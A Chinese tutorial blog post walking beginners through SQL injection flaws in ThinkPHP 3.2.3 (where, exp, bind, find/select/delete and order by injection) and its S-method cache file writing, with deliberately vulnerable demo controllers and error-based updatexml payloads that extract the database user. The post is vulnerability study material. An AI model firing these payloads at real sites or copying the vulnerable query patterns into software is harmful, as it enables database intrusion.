萌新也能看懂的ThinkPHP3.2.3漏洞分析

2020-03-16 0 3,674

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,可以支持Windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

网上关于ThinkPHP的漏洞分析文章有很多,本文是作者在学习ThinkPHP3.2.3漏洞分析过程中的一次完整的记录,非常适合初学者!

萌新也能看懂的ThinkPHP3.2.3漏洞分析

where注入

在控制器中,写个demo,利用字符串方式作为where传参时存在注入。

1
public function  getuser(){<br>    $user = M('User')->where('id='.I('id'))->find();<br>    dump($user);<br>}

在变量user地方进行断点,PHPSTROM F7进入,I方法获取传入的参数。

1
switch(strtolower($method)) {<br>        case 'get'     :   <br>                $input =& $_GET;<br>                break;<br>        case 'post'    :   <br>                $input =& $_POST;<br>                break;<br>        case 'put'     :   <br>                if(is_null($_PUT)){<br>                    parse_str(file_get_contents('php://input'), $_PUT);<br>                }<br>                $input         =        $_PUT;        <br>                break;<br>        case 'param'   :<br>            switch($_SERVER['REQUEST_METHOD']) {<br>                case 'POST':<br>                    $input  =  $_POST;<br>                    break;<br>                case 'PUT':<br>                        if(is_null($_PUT)){<br>                            parse_str(file_get_contents('php://input'), $_PUT);<br>                        }<br>                        $input         =        $_PUT;<br>                    break;<br>                default:<br>                    $input  =  $_GET;<br>            }<br>            break;<br> ......

重点看过滤函数

萌新也能看懂的ThinkPHP3.2.3漏洞分析

先利用htmlspecialchars函数过滤参数,在第402行,利用think_filter函数过滤常规sql函数。

1
function think_filter(&$value){<br>        // TODO 其他安全过滤<br><br>        // 过滤查询特殊字符<br>    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){<br>        $value .= ' ';<br>    }<br>}

在where方法中,将$where的值放入到options[“where”]数组中。

萌新也能看懂的ThinkPHP3.2.3漏洞分析

继续跟进查看find方法,第748行。

1
$options     =   $this->_parseOptions($options);

在数组$options中增加

‘table’=>’tp_user’,’model’=>’User’,随后F7跟进select方法。

1
public function select($options=array()) {<br>        $this->model  =   $options['model'];<br>        $this->parseBind(!empty($options['bind'])?$options['bind']:array());<br>        $sql    = $this->buildSelectSql($options);<br>        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);<br>        return $result;<br>}

跟进buildSelectSql方法,继续在跟进parseSql方法,这里可以看到生成完整的sql语句。

萌新也能看懂的ThinkPHP3.2.3漏洞分析

这里主要查看parseWhere方法

萌新也能看懂的ThinkPHP3.2.3漏洞分析

跟进parseThinkWhere方法

1
protected function parseThinkWhere($key,$val) {<br>        $whereStr   = '';<br>        switch($key) {<br>            case '_string':<br>                // 字符串模式查询条件<br>                $whereStr = $val;<br>                break;<br>            case '_complex':<br>                // 复合查询条件<br>                $whereStr = substr($this->parseWhere($val),6);<br>                break;

$key为_string,所以$whereStr为传入的参数的值,最后parserWhere方法返回(id=1p),所以最终payload为:

1
1and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+

萌新也能看懂的ThinkPHP3.2.3漏洞分析

exp注入

漏洞demo,这里使用全局数组进行传参(不要用I方法),漏洞才能生效。

1
public function  getuser(){<br>        $User = D('User');<br>        $map = array('id' => $_GET['id']);<br>        $user = $User->where($map)->find();<br>        dump($user);<br>}

直接在$user进行断点,F7跟进,跳过where方法,跟进find->select->buildSelectSql->parseSql->parseWhere

萌新也能看懂的ThinkPHP3.2.3漏洞分析

跟进parseWhereItem方法,此时参数$val为一个数组,{‘exp’,‘sql注入exp’}

萌新也能看懂的ThinkPHP3.2.3漏洞分析

此时当$exp满足exp时,将参数和值就行拼接,所以最终paylaod为:

1
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+

萌新也能看懂的ThinkPHP3.2.3漏洞分析

上面至于为什么不能用I方法,原因是在过滤函数think_filter中能匹配到exp字符,所以在exp字符后面加了一个空格,导致在parseWhereItem方法中无法等于exp。

1
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))

bind注入

漏洞demo

1
public function  getuser(){<br>        $data['id'= I('id');<br>        $uname['username'= I('username');<br>        $user = M('User')->where($data)->save($uname);<br>        dump($user);<br>}

F8跟进save方法

萌新也能看懂的ThinkPHP3.2.3漏洞分析

生成sql语句在update方法中:

1
public function update($data,$options) {<br>        $this->model  =   $options['model'];<br>        $this->parseBind(!empty($options['bind'])?$options['bind']:array());<br>        $table  =   $this->parseTable($options['table']);<br>        $sql   = 'UPDATE ' . $table . $this->parseSet($data);<br>        if(strpos($table,',')){// 多表更新支持JOIN操作<br>            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');<br>        }<br>        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');<br>        if(!strpos($table,',')){<br>            //  单表更新支持order和lmit<br>            $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')<br>                .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');<br>        }<br>        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');<br>        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);<br>    }

在parseSet方法中,可以将传入的参数替换成:0。

萌新也能看懂的ThinkPHP3.2.3漏洞分析

在bindParam方法中,$this->bind属性返回array(‘:0’=>参数值)。

1
protected function bindParam($name,$value){<br>        $this->bind[':'.$name]  =   $value;<br>}

继续跟进parseWhere->parseWhereItem方法,当exp为bind时,就会在参数值前面加个冒号(:)。

萌新也能看懂的ThinkPHP3.2.3漏洞分析

由于在sql语句中有冒号,继续跟进excute方法,这里将:0替换成了第二个参数的值。

萌新也能看懂的ThinkPHP3.2.3漏洞分析

所以最终的payload为:

1
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing

萌新也能看懂的ThinkPHP3.2.3漏洞分析

find/select/delete注入

先分析find注入,在控制器中写个漏洞demo。

1
public function getuser(){<br>    $user = M('User')->find(I('id'));<br>    dump($user);<br>}

当传入id[where]=1p时候,在user进行断点,F7跟进find->_parseOptions方法:

萌新也能看懂的ThinkPHP3.2.3漏洞分析

$options[‘where’]为字符串,导致不能执行_parseType方法转化数据,进行跟进select->buildSelectSql->parseSql->parseWhere方法,传入的$where为字符串,直接执行了if语句。

1
protected function parseWhere($where) {<br>        $whereStr = '';<br>        if(is_string($where)) {<br>            // 直接使用字符串条件<br>            $whereStr = $where;<br>            ......<br>        }<br>        return empty($whereStr)?'':' WHERE '.$whereStr;

当传入id=1p,就不能进行注入了,具体原因在find->_parseOptions->_parseType方法,将传入的参数进行了强转化为整形。

萌新也能看懂的ThinkPHP3.2.3漏洞分析

所以,payload为:

1
?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)

萌新也能看懂的ThinkPHP3.2.3漏洞分析

select和delete原理同find方法一样,只是delete方法多增加了一个判断是否为空。

1
if(empty($options['where'])){<br>            // 如果条件为空 不进行删除操作 除非设置 1=1<br>            return false;<br>        }        <br>        if(is_array($options['where']) && isset($options['where'][$pk])){<br>            $pkValue            =  $options['where'][$pk];<br>        }<br><br>        if(false === $this->_before_delete($options)) {<br>            return false;<br>        }   

order by注入

先在控制器中写个漏洞demo

1
public function user(){<br>    $data['username'= array('eq','admin');<br>    $user = M('User')->where($data)->order(I('order'))->find();<br>    dump($user);<br>}

在user变量处断点,F7跟进,find->select->buildSelectSql->parseSql方法。

1
$this->parseOrder(!empty($options['order'])?$options['order']:''),

当$options[‘order’]参数参在时,跟进parseOrder方法。

萌新也能看懂的ThinkPHP3.2.3漏洞分析

当不为数组时,直接返回order by + 注入pyload,所以注入payload为:

1
order=id and(updatexml(1,concat(0x7e,(select user())),0))

萌新也能看懂的ThinkPHP3.2.3漏洞分析

缓存漏洞

在ThinkPHP3.2中,缓存函数有F方法和S方法,两个方法有什么区别呢,官方介绍如下:

 

 

F方法:相当于PHP自带的file_put_content和file_get_content函数,没有太多存在时间的概念,是文件存储数据的方式。常用于文件配置。

 

 

S方法:文件缓存,有生命时长,时间到期后缓存内容会得到更新。常用于单页面data缓存。

 

 

这里F方法就不介绍了,直接看S方法。

1
public function test(){<br>    S('name',I('test'));<br>}

跟进查看S方法

萌新也能看懂的ThinkPHP3.2.3漏洞分析

set方法写入缓存

萌新也能看懂的ThinkPHP3.2.3漏洞分析

跟进filename方法,此方法获取写入文件的路径,保存在../Application/Runtime/Temp目录下

1
private function filename($name) {<br>        $name        =        md5(C('DATA_CACHE_KEY').$name);<br>        if(C('DATA_CACHE_SUBDIR')) {<br>            // 使用子目录<br>            $dir   ='';<br>            for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {<br>                $dir        .=        $name{$i}.'/';<br>            }<br>            if(!is_dir($this->options['temp'].$dir)) {<br>                mkdir($this->options['temp'].$dir,0755,true);<br>            }<br>            $filename        =        $dir.$this->options['prefix'].$name.'.php';<br>        }else{<br>            $filename        =        $this->options['prefix'].$name.'.php';<br>        }<br>        return $this->options['temp'].$filename;<br>    }

并将S传入的name进行md5值作为文件名,最终通过file_put_contents函数写入文件。

萌新也能看懂的ThinkPHP3.2.3漏洞分析

以上是今天分享的内容,大家看懂了吗?记得要实际动手练习一下,才能加深印象哦~

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

注:在使用本系统时,使用方必须在国家相关法律法规范围内并经过国家相关部门的授权许可,禁止用于一切非法行为。使用用途仅限于测试、实验、研究为目的,禁止用于一切商业运营,本团队不承担使用者在使用过程中的任何违法行为负责。

83源码 WEB安全 萌新也能看懂的ThinkPHP3.2.3漏洞分析 https://www.83ym.com/82.html

认准唯一TG:@ym830

常见问题
  • 站内所有资源,针对不同等级VIP会员可直接下载,特殊资源商品会注明是否免费,指会员所享有根据选择购买的会员选项所享有的特殊服务,具体以本站公布的服务内容为准。
查看详情
  • 按照我国的法律规定,运营网络棋牌首先需要成立一个注册正规备案的公司,然后申请网站备案、文网文、ICP等等,这些证件缺一不可。 一.注册公司 在当地工商进行注册,公司名称以“XX科技有限公司”为名,如:富裕棋牌经营范围填写“计算机软硬件、网络设备的设计开发与购销”。 二.域名及网站备案 在国内从事网站经营活动就必须经过相关部门的备案,因此棋牌运营商在购买了域名后,就要到当地网监局办理网站备案,或者请服务器提供商代为备案。 三.申请文网文 文网文全称为网络文化经营许可证,是从事经营性互联网文化活动所必需的资质。一般是需要到当地省一级(省、直辖市、自治区)的文化行政部门提出申请,并经由当地的文化行政部门合法批准。次资质要求申请公司注册资金必需达到1000万,并提供游戏版权证明文件。 四.申请ICP ICP又称为增值电信业务许可证,所有网络游戏运营商均需要办理ICP许可证,此证件要求公司注册资金1000万,需到当地市级通讯管理局办理。 五.申请文网游——游戏备案 根据《网络游戏管理暂行办法》(文化部第49号)的规定,国产网络游戏在上网运营之日起30日内应当按规定向国务院文化行政部门履行备案手续。 以上就是网络棋牌游戏正规运营所必需的资质证明。一般作为正规有实力的棋牌游戏开发公司,不光要具备所有的正规资质,而且会对投资者、代理商等合作伙伴给予相关指导和协助,与合作伙伴携手共赢!
查看详情

相关文章

猜你喜欢
官方客服团队

为您解决烦忧 - 24小时在线 专业服务